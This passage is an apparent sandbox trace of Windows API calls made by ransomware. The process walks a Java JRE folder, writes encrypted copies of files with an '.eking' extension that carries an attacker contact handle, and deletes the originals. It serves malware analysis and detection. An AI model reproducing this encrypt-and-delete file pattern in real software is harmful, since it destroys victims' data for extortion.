(lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe")) returned 0x20 [0234.240] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0234.240] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0234.240] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0234.241] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=16448) returned 1 [0234.241] CloseHandle (hObject=0x348) returned 1 [0234.241] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe")) returned 0x20 [0234.241] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe")) returned 0x20 [0234.241] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0234.241] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0234.242] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0234.242] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=16448) returned 1 [0234.242] CloseHandle (hObject=0x348) returned 1 [0234.445] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe")) returned 0x20 [0234.445] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe")) returned 0x20 [0234.445] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0234.445] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0234.445] SetEvent (hEvent=0x2b8) returned 1 [0234.446] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0234.447] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=8809536) returned 1 [0234.447] CloseHandle (hObject=0x368) returned 1 [0234.447] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll")) returned 0x20 [0234.447] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0 [0234.448] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll")) returned 0 [0234.448] SetEvent (hEvent=0x2b8) returned 1 [0234.449] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0234.450] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=1423) returned 1 [0234.450] CloseHandle (hObject=0x368) returned 1 [0234.450] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt")) returned 0x20 [0234.450] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt")) returned 0x20 [0234.450] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0234.451] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0234.451] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0234.451] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0234.451] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x364 [0234.460] ReadFile (in: hFile=0x368, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x58f, lpOverlapped=0x0) returned 1 [0234.665] WriteFile (in: hFile=0x364, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x590, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x590, lpOverlapped=0x0) returned 1 [0234.667] WriteFile (in: hFile=0x364, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0234.667] CloseHandle (hObject=0x368) returned 1 [0234.667] CloseHandle (hObject=0x364) returned 1 [0234.672] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt")) returned 0 [0234.672] SetEvent (hEvent=0x2b8) returned 1 [0234.673] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0234.688] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=16448) returned 1 [0234.688] CloseHandle (hObject=0x358) returned 1 [0234.688] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe")) returned 0x20 [0234.688] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe")) returned 0x20 [0234.689] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0234.689] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0234.690] SetEvent (hEvent=0x2b8) returned 1 [0234.690] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\splashscreen.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0234.691] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=204864) returned 1 [0234.691] CloseHandle (hObject=0x358) returned 1 [0234.691] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\splashscreen.dll")) returned 0x20 [0234.691] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\splashscreen.dll")) returned 0x20 [0234.691] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\splashscreen.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0234.692] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\splashscreen.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0234.692] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssv.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0234.696] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=571968) returned 1 [0234.696] CloseHandle (hObject=0x358) returned 1 [0234.696] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssv.dll")) returned 0x20 [0234.696] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssv.dll")) returned 0x20 [0234.696] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssv.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0234.696] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0234.697] SetEvent (hEvent=0x2b8) returned 1 [0234.697] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssvagent.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0234.697] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=70208) returned 1 [0234.698] CloseHandle (hObject=0x358) returned 1 [0234.698] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssvagent.exe")) returned 0x20 [0234.698] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssvagent.exe")) returned 0x20 [0234.698] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssvagent.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0234.698] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssvagent.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0234.699] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunec.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0234.711] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=135744) returned 1 [0234.711] CloseHandle (hObject=0x358) returned 1 [0234.711] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunec.dll")) returned 0x20 [0234.711] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunec.dll")) returned 0x20 [0234.712] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunec.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0234.712] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunec.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0234.712] SetEvent (hEvent=0x2b8) returned 1 [0234.712] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunmscapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0234.713] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=31808) returned 1 [0234.713] CloseHandle (hObject=0x358) returned 1 [0234.713] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunmscapi.dll")) returned 0x20 [0234.713] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunmscapi.dll")) returned 0x20 [0234.713] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunmscapi.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0234.714] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunmscapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0234.714] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\t2k.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0234.715] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=255040) returned 1 [0234.715] CloseHandle (hObject=0x358) returned 1 [0234.715] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\t2k.dll")) returned 0x20 [0234.715] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\t2k.dll")) returned 0x20 [0234.715] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\t2k.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0234.715] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\t2k.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0234.716] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0234.716] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=16448) returned 1 [0234.716] CloseHandle (hObject=0x358) returned 1 [0234.716] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe")) returned 0x20 [0234.716] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe")) returned 0x20 [0234.717] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0234.717] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0234.717] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0234.727] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=79936) returned 1 [0234.727] CloseHandle (hObject=0x358) returned 1 [0234.727] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack.dll")) returned 0x20 [0234.728] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack.dll")) returned 0x20 [0234.728] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0234.728] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0234.728] SetEvent (hEvent=0x2b8) returned 1 [0234.728] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0234.730] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=197184) returned 1 [0234.730] CloseHandle (hObject=0x358) returned 1 [0234.730] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe")) returned 0x20 [0234.730] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe")) returned 0x20 [0234.730] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0234.730] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0234.730] SetEvent (hEvent=0x2b8) returned 1 [0234.731] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\verify.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0234.731] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=49216) returned 1 [0234.731] CloseHandle (hObject=0x358) returned 1 [0234.731] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\verify.dll")) returned 0x20 [0234.731] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\verify.dll")) returned 0x20 [0234.732] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\verify.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff 